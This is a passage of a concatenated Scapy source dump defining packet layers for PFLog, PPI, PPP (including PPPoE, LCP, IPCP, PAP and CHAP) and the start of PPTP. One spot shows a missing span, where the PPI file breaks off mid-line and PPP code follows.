1: "drop", 2: "scrub", 3: "no-scrub", 4: "nat", 5: "no-nat", 6: "binat", 7: "no-binat", 8: "rdr", 9: "no-rdr", 10: "syn-proxy-drop"}), ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", 2: "fragment", 3: "short", 4: "normalize", 5: "memory", 6: "bad-timestamp", 7: "congestion", 8: "ip-options", 9: "proto-cksum", 10: "state-mismatch", 11: "state-insert", 12: "state-limit", 13: "src-limit", 14: "syn-proxy"}), StrFixedLenField("iface", "", 16), StrFixedLenField("ruleset", "", 16), SignedIntField("rulenumber", 0), SignedIntField("subrulenumber", 0), SignedIntField("uid", 0), IntField("pid", 0), SignedIntField("ruleuid", 0), IntField("rulepid", 0), ByteEnumField("direction", 255, {0: "inout", 1: "in", 2: "out", 255: "unknown"}), YesNoByteField("rewritten", 0), ByteEnumField("naddrfamily", 2, {OPENBSD_AF_INET: "IPv4", OPENBSD_AF_INET6: "IPv6"}), StrFixedLenField("pad", b"\x00", 1), MultipleTypeField( [ (PadField(IPField("saddr", "127.0.0.1"), 16, padwith=b"\x00"), lambda pkt: pkt.addrfamily == OPENBSD_AF_INET), (IP6Field("saddr", "::1"), lambda pkt: pkt.addrfamily == OPENBSD_AF_INET6), ], PadField(IPField("saddr", "127.0.0.1"), 16, padwith=b"\x00"),), MultipleTypeField( [ (PadField(IPField("daddr", "127.0.0.1"), 16, padwith=b"\x00"), lambda pkt: pkt.addrfamily == OPENBSD_AF_INET), (IP6Field("daddr", "::1"), lambda pkt: pkt.addrfamily == OPENBSD_AF_INET6), ], PadField(IPField("daddr", "127.0.0.1"), 16, padwith=b"\x00"),), ShortField("sport", 0), ShortField("dport", 0), ] def mysummary(self): return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") # noqa: E501 bind_layers(PFLog, IP, addrfamily=OPENBSD_AF_INET) bind_layers(PFLog, IPv6, addrfamily=OPENBSD_AF_INET6) conf.l2types.register(DLT_PFLOG, PFLog) ================================================ FILE: scapy/layers/ppi.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Original PPI author: # scapy.contrib.description = CACE Per-Packet Information (PPI) header # scapy.contrib.status = loads """ CACE Per-Packet Information (PPI) header. A method for adding metadata to link-layer packets. For example, one can tag an 802.11 packet with GPS coordinates of where it was captured, and include it in the PCAP file. New PPI types should: * Make their packet a subclass of ``PPI_Element`` * Call ``bind_layers(PPI_Hdr, ExamplePPI, pfh_type=0xffff)`` See ``layers/contrib/ppi_cace.py`` for an example. """ from scapy.config import conf from scapy.data import DLT_PPI, PPI_TYPES from scapy.error import warning from scapy.packet import Packet from scapy.fields import ByteField, FieldLenField, LEIntField, \ PacketListField, LEShortEnumField, LenField class PPI_Hdr(Packet): name = 'PPI Header' fields_desc = [ LEShortEnumField('pfh_type', 0, PPI_TYPES), LenField('pfh_length', None, fmt=' """ PPP (Point to Point Protocol) [RFC 1661] """ import struct from scapy.config import conf from scapy.data import DLT_PPP, DLT_PPP_SERIAL, DLT_PPP_ETHER, \ DLT_PPP_WITH_DIR from scapy.compat import orb from scapy.packet import Packet, bind_layers from scapy.layers.eap import EAP from scapy.layers.l2 import Ether, CookedLinux, GRE_PPTP from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.fields import ( BitField, ByteEnumField, ByteField, ConditionalField, EnumField, FieldLenField, IPField, IntField, OUIField, PacketField, PacketListField, ShortEnumField, ShortField, StrLenField, XByteField, XShortField, XStrLenField, ) class PPPoE(Packet): name = "PPP over Ethernet" fields_desc = [BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0, {0: "Session"}), XShortField("sessionid", 0x0), ShortField("len", None)] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) - 6 p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p # PPPoE Active Discovery Code fields (RFC2516, RFC5578) class PPPoED(PPPoE): name = "PPP over Ethernet Discovery" code_list = {0x00: "PPP Session Stage", 0x09: "PPPoE Active Discovery Initiation (PADI)", 0x07: "PPPoE Active Discovery Offer (PADO)", 0x0a: "PPPoE Active Discovery Session-Grant (PADG)", 0x0b: "PPPoE Active Discovery Session-Credit Response (PADC)", 0x0c: "PPPoE Active Discovery Quality (PADQ)", 0x19: "PPPoE Active Discovery Request (PADR)", 0x65: "PPPoE Active Discovery Session-confirmation (PADS)", 0xa7: "PPPoE Active Discovery Terminate (PADT)"} fields_desc = [BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0x09, code_list), XShortField("sessionid", 0x0), ShortField("len", None)] def extract_padding(self, s): return s[:self.len], s[self.len:] def mysummary(self): return self.sprintf("%code%") # PPPoE Tag types (RFC2516, RFC4638, RFC5578) class PPPoETag(Packet): name = "PPPoE Tag" tag_list = {0x0000: 'End-Of-List', 0x0101: 'Service-Name', 0x0102: 'AC-Name', 0x0103: 'Host-Uniq', 0x0104: 'AC-Cookie', 0x0105: 'Vendor-Specific', 0x0106: 'Credits', 0x0107: 'Metrics', 0x0108: 'Sequence Number', 0x0109: 'Credit Scale Factor', 0x0110: 'Relay-Session-Id', 0x0120: 'PPP-Max-Payload', 0x0201: 'Service-Name-Error', 0x0202: 'AC-System-Error', 0x0203: 'Generic-Error'} fields_desc = [ ShortEnumField('tag_type', None, tag_list), FieldLenField('tag_len', None, length_of='tag_value', fmt='H'), StrLenField('tag_value', '', length_from=lambda pkt:pkt.tag_len) ] def extract_padding(self, s): return '', s class PPPoED_Tags(Packet): name = "PPPoE Tag List" fields_desc = [PacketListField('tag_list', None, PPPoETag)] def mysummary(self): return "PPPoE Tags" + ", ".join( x.sprintf("%tag_type%") for x in self.tag_list ), [PPPoED] _PPP_PROTOCOLS = { 0x0001: "Padding Protocol", 0x0003: "ROHC small-CID [RFC3095]", 0x0005: "ROHC large-CID [RFC3095]", 0x0021: "Internet Protocol version 4", 0x0023: "OSI Network Layer", 0x0025: "Xerox NS IDP", 0x0027: "DECnet Phase IV", 0x0029: "Appletalk", 0x002b: "Novell IPX", 0x002d: "Van Jacobson Compressed TCP/IP", 0x002f: "Van Jacobson Uncompressed TCP/IP", 0x0031: "Bridging PDU", 0x0033: "Stream Protocol (ST-II)", 0x0035: "Banyan Vines", 0x0037: "reserved (until 1993) [Typo in RFC1172]", 0x0039: "AppleTalk EDDP", 0x003b: "AppleTalk SmartBuffered", 0x003d: "Multi-Link [RFC1717]", 0x003f: "NETBIOS Framing", 0x0041: "Cisco Systems", 0x0043: "Ascom Timeplex", 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", 0x0047: "DCA Remote Lan", 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", 0x004b: "SNA over 802.2", 0x004d: "SNA", 0x004f: "IPv6 Header Compression", 0x0051: "KNX Bridging Data [ianp]", 0x0053: "Encryption [Meyer]", 0x0055: "Individual Link Encryption [Meyer]", 0x0057: "Internet Protocol version 6 [Hinden]", 0x0059: "PPP Muxing [RFC3153]", 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", 0x0061: "RTP IPHC Full Header [RFC3544]", 0x0063: "RTP IPHC Compressed TCP [RFC3544]", 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", 0x006f: "Stampede Bridging", 0x0071: "Reserved [Fox]", 0x0073: "MP+ Protocol [Smith]", 0x007d: "reserved (Control Escape) [RFC1661]", 0x007f: "reserved (compression inefficient [RFC1662]", 0x0081: "Reserved Until 20-Oct-2000 [IANA]", 0x0083: "Reserved Until 20-Oct-2000 [IANA]", 0x00c1: "NTCITS IPI [Ungar]", 0x00cf: "reserved (PPP NLID)", 0x00fb: "single link compression in multilink [RFC1962]", 0x00fd: "compressed datagram [RFC1962]", 0x00ff: "reserved (compression inefficient)", 0x0201: "802.1d Hello Packets", 0x0203: "IBM Source Routing BPDU", 0x0205: "DEC LANBridge100 Spanning Tree", 0x0207: "Cisco Discovery Protocol [Sastry]", 0x0209: "Netcs Twin Routing [Korfmacher]", 0x020b: "STP - Scheduled Transfer Protocol [Segal]", 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0231: "Luxcom", 0x0233: "Sigma Network Systems", 0x0235: "Apple Client Server Protocol [Ridenour]", 0x0281: "MPLS Unicast [RFC3032] ", 0x0283: "MPLS Multicast [RFC3032]", 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", 0x0289: "Multichannel Flow Treatment Protocol [McCann]", 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", 0x2065: "RTP IPHC Context State [RFC3544]", 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", 0x4001: "Cray Communications Control Protocol [Stage]", 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", 0x4005: "Expand accelerator protocol [Rachmani]", 0x4007: "ODSICP NCP [Arvind]", 0x4009: "DOCSIS DLL [Gaedtke]", 0x400B: "Cetacean Network Detection Protocol [Siller]", 0x4021: "Stacker LZS [Simpson]", 0x4023: "RefTek Protocol [Banfill]", 0x4025: "Fibre Channel [Rajagopal]", 0x4027: "EMIT Protocols [Eastham]", 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", 0x8021: "Internet Protocol Control Protocol", 0x8023: "OSI Network Layer Control Protocol", 0x8025: "Xerox NS IDP Control Protocol", 0x8027: "DECnet Phase IV Control Protocol", 0x8029: "Appletalk Control Protocol", 0x802b: "Novell IPX Control Protocol", 0x802d: "reserved", 0x802f: "reserved", 0x8031: "Bridging NCP", 0x8033: "Stream Protocol Control Protocol", 0x8035: "Banyan Vines Control Protocol", 0x8037: "reserved (until 1993)", 0x8039: "reserved", 0x803b: "reserved", 0x803d: "Multi-Link Control Protocol", 0x803f: "NETBIOS Framing Control Protocol", 0x8041: "Cisco Systems Control Protocol", 0x8043: "Ascom Timeplex", 0x8045: "Fujitsu LBLB Control Protocol", 0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)", 0x8049: "Serial Data Control Protocol (PPP-SDCP)", 0x804b: "SNA over 802.2 Control Protocol", 0x804d: "SNA Control Protocol", 0x804f: "IP6 Header Compression Control Protocol", 0x8051: "KNX Bridging Control Protocol [ianp]", 0x8053: "Encryption Control Protocol [Meyer]", 0x8055: "Individual Link Encryption Control Protocol [Meyer]", 0x8057: "IPv6 Control Protovol [Hinden]", 0x8059: "PPP Muxing Control Protocol [RFC3153]", 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", 0x806f: "Stampede Bridging Control Protocol", 0x8073: "MP+ Control Protocol [Smith]", 0x8071: "Reserved [Fox]", 0x807d: "Not Used - reserved [RFC1661]", 0x8081: "Reserved Until 20-Oct-2000 [IANA]", 0x8083: "Reserved Until 20-Oct-2000 [IANA]", 0x80c1: "NTCITS IPI Control Protocol [Ungar]", 0x80cf: "Not Used - reserved [RFC1661]", 0x80fb: "single link compression in multilink control [RFC1962]", 0x80fd: "Compression Control Protocol [RFC1962]", 0x80ff: "Not Used - reserved [RFC1661]", 0x8207: "Cisco Discovery Protocol Control [Sastry]", 0x8209: "Netcs Twin Routing [Korfmacher]", 0x820b: "STP - Control Protocol [Segal]", 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", 0x8235: "Apple Client Server Protocol Control [Ridenour]", 0x8281: "MPLSCP [RFC3032]", 0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]", 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", 0x8289: "Multichannel Flow Treatment Protocol [McCann]", 0xc021: "Link Control Protocol", 0xc023: "Password Authentication Protocol", 0xc025: "Link Quality Report", 0xc027: "Shiva Password Authentication Protocol", 0xc029: "CallBack Control Protocol (CBCP)", 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", 0xc02d: "BAP [RFC2125]", 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", 0xc081: "Container Control Protocol [KEN]", 0xc223: "Challenge Handshake Authentication Protocol", 0xc225: "RSA Authentication Protocol [Narayana]", 0xc227: "Extensible Authentication Protocol [RFC2284]", 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", 0xc26f: "Stampede Bridging Authorization Protocol", 0xc281: "Proprietary Authentication Protocol [KEN]", 0xc283: "Proprietary Authentication Protocol [Tackabury]", 0xc481: "Proprietary Node ID Authentication Protocol [KEN]", } class HDLC(Packet): fields_desc = [XByteField("address", 0xff), XByteField("control", 0x03)] # LINKTYPE_PPP_WITH_DIR class DIR_PPP(Packet): fields_desc = [ByteEnumField("direction", 0, ["received", "sent"])] class _PPPProtoField(EnumField): """ A field that can be either Byte or Short, depending on the PPP RFC. See RFC 1661 section 2 The generated proto field is two bytes when not specified, or when specified as an integer or a string: PPP() PPP(proto=0x21) PPP(proto="Internet Protocol version 4") To explicitly forge a one byte proto field, use the bytes representation: PPP(proto=b'\x21') """ def getfield(self, pkt, s): if ord(s[:1]) & 0x01: self.fmt = "!B" self.sz = 1 else: self.fmt = "!H" self.sz = 2 self.struct = struct.Struct(self.fmt) return super(_PPPProtoField, self).getfield(pkt, s) def addfield(self, pkt, s, val): if isinstance(val, bytes): if len(val) == 1: fmt, sz = "!B", 1 elif len(val) == 2: fmt, sz = "!H", 2 else: raise TypeError('Invalid length for PPP proto') val = struct.Struct(fmt).unpack(val)[0] else: fmt, sz = "!H", 2 self.fmt = fmt self.sz = sz self.struct = struct.Struct(self.fmt) return super(_PPPProtoField, self).addfield(pkt, s, val) class PPP(Packet): name = "PPP Link Layer" fields_desc = [_PPPProtoField("proto", 0x0021, _PPP_PROTOCOLS)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and _pkt[:1] == b'\xff': return HDLC return cls _PPP_conftypes = {1: "Configure-Request", 2: "Configure-Ack", 3: "Configure-Nak", 4: "Configure-Reject", 5: "Terminate-Request", 6: "Terminate-Ack", 7: "Code-Reject", 8: "Protocol-Reject", 9: "Echo-Request", 10: "Echo-Reply", 11: "Discard-Request", 14: "Reset-Request", 15: "Reset-Ack", } # PPP IPCP stuff (RFC 1332) # All IPCP options are defined below (names and associated classes) _PPP_ipcpopttypes = {1: "IP-Addresses (Deprecated)", 2: "IP-Compression-Protocol", 3: "IP-Address", # not implemented, present for completeness 4: "Mobile-IPv4", 129: "Primary-DNS-Address", 130: "Primary-NBNS-Address", 131: "Secondary-DNS-Address", 132: "Secondary-NBNS-Address"} class PPP_IPCP_Option(Packet): name = "PPP IPCP Option" fields_desc = [ ByteEnumField("type", None, _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): name = "PPP IPCP Option: IP Address" fields_desc = [ ByteEnumField("type", 3, _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), IPField("data", "0.0.0.0"), StrLenField("garbage", "", length_from=lambda pkt: pkt.len - 6), ] class PPP_IPCP_Option_DNS1(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: DNS1 Address" type = 129 class PPP_IPCP_Option_DNS2(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: DNS2 Address" type = 131 class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: NBNS1 Address" type = 130 class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: NBNS2 Address" type = 132 class PPP_IPCP(Packet): fields_desc = [ ByteEnumField("code", 1, _PPP_conftypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_IPCP_Option, length_from=lambda pkt: pkt.len - 4) ] # ECP _PPP_ecpopttypes = {0: "OUI", 1: "DESE", } class PPP_ECP_Option(Packet): name = "PPP ECP Option" fields_desc = [ ByteEnumField("type", None, _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_ECP_Option_OUI(PPP_ECP_Option): fields_desc = [ ByteEnumField("type", 0, _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 6), OUIField("oui", 0), ByteField("subtype", 0), StrLenField("data", "", length_from=lambda pkt: pkt.len - 6), ] class PPP_ECP(Packet): fields_desc = [ ByteEnumField("code", 1, _PPP_conftypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_ECP_Option, length_from=lambda pkt: pkt.len - 4), ] # Link Control Protocol (RFC 1661) _PPP_lcptypes = {1: "Configure-Request", 2: "Configure-Ack", 3: "Configure-Nak", 4: "Configure-Reject", 5: "Terminate-Request", 6: "Terminate-Ack", 7: "Code-Reject", 8: "Protocol-Reject", 9: "Echo-Request", 10: "Echo-Reply", 11: "Discard-Request"} class PPP_LCP(Packet): name = "PPP Link Control Protocol" fields_desc = [ ByteEnumField("code", 5, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] def mysummary(self): return self.sprintf('LCP %code%') def extract_padding(self, pay): return b"", pay @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) if o in [1, 2, 3, 4]: return PPP_LCP_Configure elif o in [5, 6]: return PPP_LCP_Terminate elif o == 7: return PPP_LCP_Code_Reject elif o == 8: return PPP_LCP_Protocol_Reject elif o in [9, 10]: return PPP_LCP_Echo elif o == 11: return PPP_LCP_Discard_Request else: return cls return cls _PPP_lcp_optiontypes = {1: "Maximum-Receive-Unit", 2: "Async-Control-Character-Map", 3: "Authentication-protocol", 4: "Quality-protocol", 5: "Magic-number", 7: "Protocol-Field-Compression", 8: "Address-and-Control-Field-Compression", 13: "Callback"} class PPP_LCP_Option(Packet): name = "PPP LCP Option" fields_desc = [ ByteEnumField("type", None, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=lambda _, val: val + 2), StrLenField("data", None, length_from=lambda pkt: pkt.len - 2), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_LCP_MRU_Option(PPP_LCP_Option): fields_desc = [ByteEnumField("type", 1, _PPP_lcp_optiontypes), ByteField("len", 4), ShortField("max_recv_unit", 1500)] _PPP_LCP_auth_protocols = { 0xc023: "Password authentication protocol", 0xc223: "Challenge-response authentication protocol", 0xc227: "PPP Extensible authentication protocol", } _PPP_LCP_CHAP_algorithms = { 5: "MD5", 6: "SHA1", 128: "MS-CHAP", 129: "MS-CHAP-v2", } class PPP_LCP_ACCM_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 2, _PPP_lcp_optiontypes), ByteField("len", 6), BitField("accm", 0x00000000, 32), ] def adjust_auth_len(pkt, x): if pkt.auth_protocol == 0xc223: return 5 elif pkt.auth_protocol == 0xc023: return 4 else: return x + 4 class PPP_LCP_Auth_Protocol_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 3, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=adjust_auth_len), ShortEnumField("auth_protocol", 0xc023, _PPP_LCP_auth_protocols), ConditionalField( StrLenField("data", '', length_from=lambda pkt: pkt.len - 4), lambda pkt: pkt.auth_protocol != 0xc223 ), ConditionalField( ByteEnumField("algorithm", 5, _PPP_LCP_CHAP_algorithms), lambda pkt: pkt.auth_protocol == 0xc223 ), ] _PPP_LCP_quality_protocols = {0xc025: "Link Quality Report"} class PPP_LCP_Quality_Protocol_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 4, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=lambda _, val: val + 4), ShortEnumField("quality_protocol", 0xc025, _PPP_LCP_quality_protocols), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] class PPP_LCP_Magic_Number_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 5, _PPP_lcp_optiontypes), ByteField("len", 6), IntField("magic_number", None), ] _PPP_lcp_callback_operations = { 0: "Location determined by user authentication", 1: "Dialing string", 2: "Location identifier", 3: "E.164 number", 4: "Distinguished name", } class PPP_LCP_Callback_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 13, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="message", adjust=lambda _, val: val + 3), ByteEnumField("operation", 0, _PPP_lcp_callback_operations), StrLenField("message", "", length_from=lambda pkt: pkt.len - 3) ] class PPP_LCP_Configure(PPP_LCP): fields_desc = [ ByteEnumField("code", 1, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_LCP_Option, length_from=lambda pkt: pkt.len - 4), ] def answers(self, other): return ( isinstance(other, PPP_LCP_Configure) and self.code in [2, 3, 4] and other.code == 1 and other.id == self.id ) class PPP_LCP_Terminate(PPP_LCP): def answers(self, other): return ( isinstance(other, PPP_LCP_Terminate) and self.code == 6 and other.code == 5 and other.id == self.id ) class PPP_LCP_Code_Reject(PPP_LCP): fields_desc = [ ByteEnumField("code", 7, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="rejected_packet", adjust=lambda _, val: val + 4), PacketField("rejected_packet", None, PPP_LCP), ] class PPP_LCP_Protocol_Reject(PPP_LCP): fields_desc = [ ByteEnumField("code", 8, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="rejected_information", adjust=lambda _, val: val + 6), ShortEnumField("rejected_protocol", None, _PPP_PROTOCOLS), PacketField("rejected_information", None, Packet), ] class PPP_LCP_Discard_Request(PPP_LCP): fields_desc = [ ByteEnumField("code", 11, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda _, val: val + 8), IntField("magic_number", None), StrLenField("data", "", length_from=lambda pkt: pkt.len - 8), ] class PPP_LCP_Echo(PPP_LCP_Discard_Request): code = 9 def answers(self, other): return ( isinstance(other, PPP_LCP_Echo) and self.code == 10 and other.code == 9 and self.id == other.id ) # Password authentication protocol (RFC 1334) _PPP_paptypes = {1: "Authenticate-Request", 2: "Authenticate-Ack", 3: "Authenticate-Nak"} class PPP_PAP(Packet): name = "PPP Password Authentication Protocol" fields_desc = [ ByteEnumField("code", 1, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): code = None if _pkt: code = orb(_pkt[0]) elif "code" in kargs: code = kargs["code"] if isinstance(code, str): code = cls.fields_desc[0].s2i[code] if code == 1: return PPP_PAP_Request elif code in [2, 3]: return PPP_PAP_Response return cls def extract_padding(self, pay): return "", pay class PPP_PAP_Request(PPP_PAP): fields_desc = [ ByteEnumField("code", 1, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="username", adjust=lambda pkt, val: val + 6 + len(pkt.password)), FieldLenField("username_len", None, fmt="B", length_of="username"), StrLenField("username", None, length_from=lambda pkt: pkt.username_len), FieldLenField("passwd_len", None, fmt="B", length_of="password"), StrLenField("password", None, length_from=lambda pkt: pkt.passwd_len), ] def mysummary(self): return self.sprintf("PAP-Request username=%PPP_PAP_Request.username%" " password=%PPP_PAP_Request.password%") class PPP_PAP_Response(PPP_PAP): fields_desc = [ ByteEnumField("code", 2, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="message", adjust=lambda _, val: val + 5), FieldLenField("msg_len", None, fmt="B", length_of="message"), StrLenField("message", "", length_from=lambda pkt: pkt.msg_len), ] def answers(self, other): return isinstance(other, PPP_PAP_Request) and other.id == self.id def mysummary(self): res = "PAP-Ack" if self.code == 2 else "PAP-Nak" if self.msg_len > 0: res += self.sprintf(" msg=%PPP_PAP_Response.message%") return res # Challenge Handshake Authentication protocol (RFC1994) _PPP_chaptypes = {1: "Challenge", 2: "Response", 3: "Success", 4: "Failure"} class PPP_CHAP(Packet): name = "PPP Challenge Handshake Authentication Protocol" fields_desc = [ ByteEnumField("code", 1, _PPP_chaptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] def answers(self, other): return isinstance(other, PPP_CHAP_ChallengeResponse) \ and other.code == 2 and self.code in (3, 4) \ and self.id == other.id @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): code = None if _pkt: code = orb(_pkt[0]) elif "code" in kargs: code = kargs["code"] if isinstance(code, str): code = cls.fields_desc[0].s2i[code] if code in (1, 2): return PPP_CHAP_ChallengeResponse return cls def extract_padding(self, pay): return "", pay def mysummary(self): if self.code == 3: return self.sprintf("CHAP Success message=%PPP_CHAP.data%") elif self.code == 4: return self.sprintf("CHAP Failure message=%PPP_CHAP.data%") class PPP_CHAP_ChallengeResponse(PPP_CHAP): fields_desc = [ ByteEnumField("code", 1, _PPP_chaptypes), XByteField("id", 0), FieldLenField( "len", None, fmt="!H", length_of="value", adjust=lambda pkt, val: val + len(pkt.optional_name) + 5, ), FieldLenField("value_size", None, fmt="B", length_of="value"), XStrLenField("value", b'\x00\x00\x00\x00\x00\x00\x00\x00', length_from=lambda pkt: pkt.value_size), StrLenField("optional_name", "", length_from=lambda pkt: pkt.len - pkt.value_size - 5), ] def answers(self, other): return isinstance(other, PPP_CHAP_ChallengeResponse) \ and other.code == 1 and self.code == 2 and self.id == other.id def mysummary(self): if self.code == 1: return self.sprintf( "CHAP challenge=0x%PPP_CHAP_ChallengeResponse.value% " "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" ) elif self.code == 2: return self.sprintf( "CHAP response=0x%PPP_CHAP_ChallengeResponse.value% " "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" ) else: return super(PPP_CHAP_ChallengeResponse, self).mysummary() bind_layers(PPPoED, PPPoED_Tags, type=1) bind_layers(Ether, PPPoED, type=0x8863) bind_layers(Ether, PPPoE, type=0x8864) bind_layers(CookedLinux, PPPoED, proto=0x8863) bind_layers(CookedLinux, PPPoE, proto=0x8864) bind_layers(PPPoE, PPP, code=0) bind_layers(HDLC, PPP,) bind_layers(DIR_PPP, PPP) bind_layers(PPP, EAP, proto=0xc227) bind_layers(PPP, IP, proto=0x0021) bind_layers(PPP, IPv6, proto=0x0057) bind_layers(PPP, PPP_CHAP, proto=0xc223) bind_layers(PPP, PPP_IPCP, proto=0x8021) bind_layers(PPP, PPP_ECP, proto=0x8053) bind_layers(PPP, PPP_LCP, proto=0xc021) bind_layers(PPP, PPP_PAP, proto=0xc023) bind_layers(Ether, PPP_IPCP, type=0x8021) bind_layers(Ether, PPP_ECP, type=0x8053) bind_layers(GRE_PPTP, PPP, proto=0x880b) conf.l2types.register(DLT_PPP, PPP) conf.l2types.register(DLT_PPP_SERIAL, HDLC) conf.l2types.register(DLT_PPP_ETHER, PPPoE) conf.l2types.register(DLT_PPP_WITH_DIR, DIR_PPP) ================================================ FILE: scapy/layers/pptp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Jan Sebechlebsky """ PPTP (Point to Point Tunneling Protocol) [RFC 2637] """ from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.compat import orb from scapy.fields import ByteEnumField, FieldLenField, FlagsField, IntField, \ IntEnumField, LenField, XIntField, ShortField, ShortEnumField, \ StrFixedLenField, StrLenField, XShortField, XByteField _PPTP_MAGIC_COOKIE = 0x1a2b3c4d _PPTP_msg_type = {1: "Control Message", 2: "Managemenent Message"} _PPTP_ctrl_msg_type = { # Control Connection Management 1: "Start-Control-Connection-Request", 2: "Start-Control-Connection-Reply", 3: "Stop-Control-Connection-Request", 4: "Stop-Control-Connection-Reply", 5: "Echo-Request", 6: "Echo-Reply", # Call Management 7: "Outgoing-Call-Request", 8: "Outgoing-Call-Reply", 9: "Incoming-Call-Request", 10: "Incoming-Call-Reply", 11: "Incoming-Call-Connected", 12: "Call-Clear-Request", 13: "Call-Disconnect-Notify", # Error Reporting 14: "WAN-Error-Notify", # PPP Session Control 15: "Set-Link-Info"} _PPTP_general_error_code = {0: "None", 1: 